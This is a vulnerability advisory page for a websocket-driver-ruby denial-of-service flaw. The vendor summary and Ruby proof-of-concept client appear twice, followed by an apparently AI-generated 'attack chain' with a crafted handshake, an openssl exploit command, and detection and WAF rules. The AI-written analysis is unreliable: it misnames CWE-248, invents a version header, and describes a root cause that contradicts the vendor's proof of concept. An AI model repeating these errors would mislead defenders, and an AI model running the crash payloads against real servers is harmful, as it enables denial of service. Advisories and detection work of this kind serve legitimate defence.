CVE-2026-140016 — Faye Websocket-driver-ruby (< 0.9.0) — CWE-248 · CWE-456
### Summary An unauthenticated remote client can trigger message corruption and denial of service by starting a draft75 or draft76 WebSocket connection and sending a brief sequence of bytes. The byte sequence is parsed incorrectly and can lead to duplicate messages or server crash. ### Details The `websocket-driver` library supports earlier versions of the WebSocket protocol from before the RFC was standardised, particularly the `draft75` and `draft76` versions. There is a bug in the parsing of messages in these versions that can lead to the server duplicating received messages or crashing when a client sends a specific sequence of bytes over a connection being handled by this parser. No special conditions are required and the input message that triggers this behaviour is very short, so an attacker can easily crash a remote server. To mitigate this, the parser bug has been fixed, and support for draft protocol versions has been disabled by default. Servers wanting to continue to support these versions need to pass the option `allow_drafts: true` when creating a driver instance. ### Proof of concept Given a server using `websocket-driver` to handle WebSocket connections: ```rb require 'eventmachine' require 'websocket/driver' module Connection def initialize @driver = WebSocket::Driver.server(self) @driver.on(:connect) { |ev| @driver.start if WebSocket::Driver.websocket? @driver.env } @driver.on(:close) { |ev| close_connection_after_writing } @driver.on(:message) { |ev| p [:msg, ev.data] } end def receive_data(data) @driver.parse(data) end def write(data) send_data(data) end end EM.run { EM.start_server('127.0.0.1', 8000, Connection) } ``` A client can connect and send a set of headers that will pass as a draft75 handshake, followed by two message frames: ```rb require 'eventmachine' require 'uri' module Connection def connection_completed send_data [ 'GET / HTTP/1.1', 'Host: 127.0.0.1:8000', 'Connection: upgrade', 'Upgrade: websocket', '', '' ].join("\r\n") send_data [0x00, 0x48, 0x69, 0xff].pack('C*') send_data [0x80, 0x01, 0xff].pack('C*') end end EM.run { url = 'ws://127.0.0.1:8000/' uri = URI.parse(url) EM.connect(uri.host, uri.port, Connection) } ``` This client will cause the server to emit the message `Hi` twice when it was only sent once. If the first frame is omitted and the client sends only `80 01 ff`, then the server crashes. After upgrading to a patched version, both these situations are handled correctly if `allow_drafts: true` is set. If it is not set then the connection is rejected as a bad request. ### Impact Users running a server using `websocket-driver` to handle WebSocket connections are vulnerable to denial of service triggered by a single frame sent by an unauthenticated client. The only known mitigation is to upgrade to a patched release.
### Summary An unauthenticated remote client can trigger message corruption and denial of service by starting a draft75 or draft76 WebSocket connection and sending a brief sequence of bytes. The byte sequence is parsed incorrectly and can lead to duplicate messages or server crash. ### Details The `websocket-driver` library supports earlier versions of the WebSocket protocol from before the RFC was standardised, particularly the `draft75` and `draft76` versions. There is a bug in the parsing of messages in these versions that can lead to the server duplicating received messages or crashing when a client sends a specific sequence of bytes over a connection being handled by this parser. No special conditions are required and the input message that triggers this behaviour is very short, so an attacker can easily crash a remote server. To mitigate this, the parser bug has been fixed, and support for draft protocol versions has been disabled by default. Servers wanting to continue to support these versions need to pass the option `allow_drafts: true` when creating a driver instance. ### Proof of concept Given a server using `websocket-driver` to handle WebSocket connections: ```rb require 'eventmachine' require 'websocket/driver' module Connection def initialize @driver = WebSocket::Driver.server(self) @driver.on(:connect) { |ev| @driver.start if WebSocket::Driver.websocket? @driver.env } @driver.on(:close) { |ev| close_connection_after_writing } @driver.on(:message) { |ev| p [:msg, ev.data] } end def receive_data(data) @driver.parse(data) end def write(data) send_data(data) end end EM.run { EM.start_server('127.0.0.1', 8000, Connection) } ``` A client can connect and send a set of headers that will pass as a draft75 handshake, followed by two message frames: ```rb require 'eventmachine' require 'uri' module Connection def connection_completed send_data [ 'GET / HTTP/1.1', 'Host: 127.0.0.1:8000', 'Connection: upgrade', 'Upgrade: websocket', '', '' ].join("\r\n") send_data [0x00, 0x48, 0x69, 0xff].pack('C*') send_data [0x80, 0x01, 0xff].pack('C*') end end EM.run { url = 'ws://127.0.0.1:8000/' uri = URI.parse(url) EM.connect(uri.host, uri.port, Connection) } ``` This client will cause the server to emit the message `Hi` twice when it was only sent once. If the first frame is omitted and the client sends only `80 01 ff`, then the server crashes. After upgrading to a patched version, both these situations are handled correctly if `allow_drafts: true` is set. If it is not set then the connection is rejected as a bad request. ### Impact Users running a server using `websocket-driver` to handle WebSocket connections are vulnerable to denial of service triggered by a single frame sent by an unauthenticated client. The only known mitigation is to upgrade to a patched release.
🎯 What is this vulnerability?
Vulnerability name – WebSocket‑driver draft‑75/76 parsing flaw
CVE – CVE‑2026‑140016
CWE – CWE‑248 (Improper Removal of Sensitive Data) and CWE‑456 (Missing Initialization of a Variable) – the vendor’s analysis maps the root cause to a combination of an un‑initialized state machine and a failure to correctly bound‑check a short byte‑sequence when handling the legacy WebSocket drafts 75/76.
Technical description
websocket-driver is a Ruby (and JavaScript) library that implements the WebSocket protocol and is used by many Rack‑based web frameworks (e.g., Rails ActionCable, Sinatra, Grape).
Legacy drafts – Draft‑75 and Draft‑76 are early, now‑obsolete versions of the WebSocket handshake. They differ from the final RFC 6455 handshake in that the client sends a Sec‑WebSocket‑Key1/Key2 header and a 8‑byte “challenge”* payload, and the server must compute a MD5 response.
Parsing routine – In versions < 0.9.0, the driver’s parse method for these drafts reads the challenge* bytes into a fixed‑size buffer without first verifying that the incoming frame actually contains the required 8 bytes. When the client sends a shorter payload (e.g., 1‑3 bytes), the routine reads past the end of the supplied buffer, leaving the internal state machine in an undefined state.
- Consequences * Message duplication – The malformed state can cause the driver to treat the next inbound frame as a continuation of the previous one, effectively replaying the previous application‑level message. * Denial‑of‑Service – The undefined state may trigger an exception (
ArgumentError / RuntimeError) that is not rescued, causing the server process (or the thread handling the connection) to terminate.Missing guard – No authentication or authorization check is performed before the parsing step; the flaw is triggered before any application‑level logic runs, making it network‑exposed* (AV:N, PR:N, UI:N).
Why CVSS shows C:N – The vulnerability does not expose confidential data directly (no read of protected state), therefore Confidentiality is None. However, the ability to inject a duplicate message (Integrity) and crash the service (Availability) yields the I:H / A:H* scores.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All command‑line examples are illustrative – the exact endpoint (/ws) is typical for applications that expose a WebSocket endpoint, but the CVE description does not name a concrete URI.
1. Discovery & Reconnaissance
| Step | Technique | Details | |
|---|---|---|---|
| 1.1 | Fingerprint the library | Scan the target’s HTTP headers, JavaScript bundles, or Ruby Gemfile.lock (if publicly accessible) for a line such as websocket-driver (0.8.2).<br>Example: curl -s https://example.com/assets/application.js | grep -i websocket-driver |
| 1.2 | Identify the WebSocket endpoint | Use a browser’s DevTools → Network tab while interacting with the web app, or run wscat -c ws://example.com/ to see which paths accept a WebSocket upgrade. | |
| 1.3 | Determine draft support | The driver disables draft‑75/76 by default after 0.9.0, but older versions accept them. Send a handshake with the Sec-WebSocket-Version: 75 header; a 101 Switching Protocols response indicates draft support. | |
| 1.4 | Confirm vulnerable version | If the server replies with Sec-WebSocket-Version: 75 and the Server header contains websocket-driver/0.8.x, the target is vulnerable. |
2. Exploitation
Goal – Trigger the parsing bug by sending a short challenge payload during the draft‑75/76 handshake.
2.1 Crafting the malicious handshake
GET /ws HTTP/1.1
Host: vulnerable.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key1: 4 @1 46546xW%0l 1 5
Sec-WebSocket-Key2: 12998 5 Y3 1 .P00
Sec-WebSocket-Version: 75
Origin: http://attacker.comNote: The two “key” headers are required by draft‑75/76 but their values are irrelevant for the exploit. The crucial part is the challenge payload that follows the HTTP headers. In a correct handshake it must be exactly 8 bytes. We will send only 2 bytes.
2.2 Sending the short payload (illustrative openssl s_client + dd)
# Open a TLS connection (if wss) or plain TCP (ws)
openssl s_client -connect vulnerable.example.com:443 -quiet <<EOF
GET /ws HTTP/1.1
Host: vulnerable.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key1: 4 @1 46546xW%0l 1 5
Sec-WebSocket-Key2: 12998 5 Y3 1 .P00
Sec-WebSocket-Version: 75
Origin: http://attacker.com
# <-- End of HTTP headers, now send the challenge (2 bytes only)
$(printf '\x01\x02')
EOFWhat happens: The driver reads the two bytes, expects eight, and proceeds with an un‑initialized buffer. The internal state machine becomes corrupted, leading to either:
2.3 Verifying impact
{"action":"send","msg":"test"}) and observe that the server processes it twice (e.g., two DB inserts, two notifications). /usr/lib/ruby/gems/2.7.0/gems/websocket-driver-0.8.5/lib/websocket/driver.rb:123:in `parse': undefined method `[]' for nil:NilClass (NoMethodError)3. Post‑exploitation
| Impact | How it is achieved |
|---|---|
| Integrity (I:H) | By forcing the server to process a legitimate message twice, an attacker can replay actions such as financial transfers, message posting, or state‑changing API calls. In systems without idempotency checks, this leads to unauthorized state changes. |
| Availability (A:H) | Repeatedly sending the malformed handshake can cause a Denial‑of‑Service: each crash forces the web server (Puma, Unicorn, Passenger, etc.) to respawn a worker, consuming CPU and memory. In a high‑traffic environment, a modest rate (≈10‑20 malformed handshakes per second) can exhaust the worker pool, rendering the service unreachable. |
| Privilege escalation | The vulnerability itself does not grant code execution. However, if the duplicated message triggers a privileged operation (e.g., an admin‑only “delete user” API that does not verify the caller’s role because the session token is reused), an attacker can escalate by abusing the replay. This is highly application‑specific. |
🌍 Real‑World Impact
| CIA | CVSS vector interpretation | Practical consequence |
|---|---|---|
| Confidentiality (C:N) | No direct read of protected data. | Data leakage is unlikely solely from this flaw. |
| Integrity (I:H) | I:H – attacker can cause unauthorized state changes via message duplication or replay. | Examples: double‑spending in e‑commerce, duplicate financial transfers, repeated command execution in IoT control panels. |
| Availability (A:H) | A:H – remote unauthenticated attacker can crash the server or exhaust resources. | Full outage of services that rely on the vulnerable driver (e.g., real‑time chat, live dashboards). |
Business impact – For SaaS platforms that expose WebSocket APIs (live notifications, collaborative editing, trading platforms), a successful exploit can lead to financial loss, regulatory breach (if duplicated transactions violate compliance), and loss of service‑level‑agreement (SLA) guarantees.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Component | Fixed version | Upgrade path |
|---|---|---|
websocket-driver (Ruby gem) | ≥ 0.9.0 | gem update websocket-driver or update the lockfile (Gemfile.lock) and run bundle install. |
websocket-driver (JavaScript/Node) | ≥ 0.9.0 (if applicable) | npm install websocket-driver@^0.9.0 |
The vendor states that the fix disables draft‑75/76 by default and requires an explicit allow_drafts: true configuration to re‑enable them.
2. Immediate work‑arounds (if patch cannot be applied)
| Mitigation | Implementation details | |
|---|---|---|
| Disable legacy drafts at runtime | In Ruby: WebSocket::Driver.server(app, allow_drafts: false) – this is the default after 0.9.0, but older versions can be forced by monkey‑patching the driver: <br><br>``ruby<br>module WebSocket<br> class Driver<br> def initialize(*args) <br> @allow_drafts = false<br> super<br> end<br> end<br>end<br>` | |
| Network‑level filtering | Block inbound WebSocket handshakes that contain Sec-WebSocket-Version: 75 or 76 using a reverse‑proxy or WAF. Example ModSecurity rule: <br><br>`apacheconf<br>SecRule REQUEST_HEADERS:Sec-WebSocket-Version "@rx ^(75 | 76)$" "id:2026260,phase:1,deny,log,msg:'Block legacy WebSocket drafts (CVE‑2026‑140016)'"` |
| Rate‑limit handshake attempts | At the load balancer (e.g., Nginx limit_req_zone) limit the number of Upgrade: websocket requests per IP to a low threshold (e.g., 5 per minute). | |
| Isolate WebSocket workers | Run the WebSocket server in a separate process pool with a low max_connections` and enable automatic restart on crash, reducing blast‑radius. | |
| Input validation at application layer | Ensure that any state‑changing operation performed over WebSocket is idempotent or protected by a nonce/timestamp to mitigate replay via duplication. |
3. Detection – Log patterns & IoCs
| Indicator | Example log line (Ruby/Puma) | Why it matters |
|---|---|---|
| Short challenge payload | WARN -- : WebSocket::Driver: Invalid challenge length (2 bytes) from 203.0.113.45 | The driver may emit a warning when the length is not 8 bytes (if patched). |
| Unhandled exception | ERROR -- : [websocket-driver] RuntimeError: undefined method '[]' for nil:NilClass (client 203.0.113.45) | Crash path – uncaught exception. |
| Duplicate application messages | INFO -- : Processed message ID=12345 from user=alice (appears twice within < 1 s) | Indicates replay caused by the parsing flaw. |
| High rate of Upgrade requests with old version | GET /ws HTTP/1.1 … Sec-WebSocket-Version: 75 (many entries from same IP) | Typical scanning/exploitation pattern. |
SIEM rule (generic) – Trigger when a single source IP sends ≥ 3 Upgrade: websocket requests with Sec-WebSocket-Version: 75|76 within 30 seconds.
⚠️ Urgency
curl/openssl), and many public‑facing services still run older versions of websocket-driver (e.g., Rails 5.x applications that have not been updated). Bottom line: The flaw resides in the low‑level parsing of obsolete WebSocket drafts. Because the parsing occurs before any authentication, an unauthenticated attacker can either replay a legitimate message (integrity breach) or crash the service (availability breach). The fix is a single‑line library upgrade that also disables the dangerous drafts by default. Deploy the patch, or at minimum block draft‑75/76 handshakes, and monitor for the described log signatures.
[🤖 CVE Professor AI Security Engine]
FOFA Query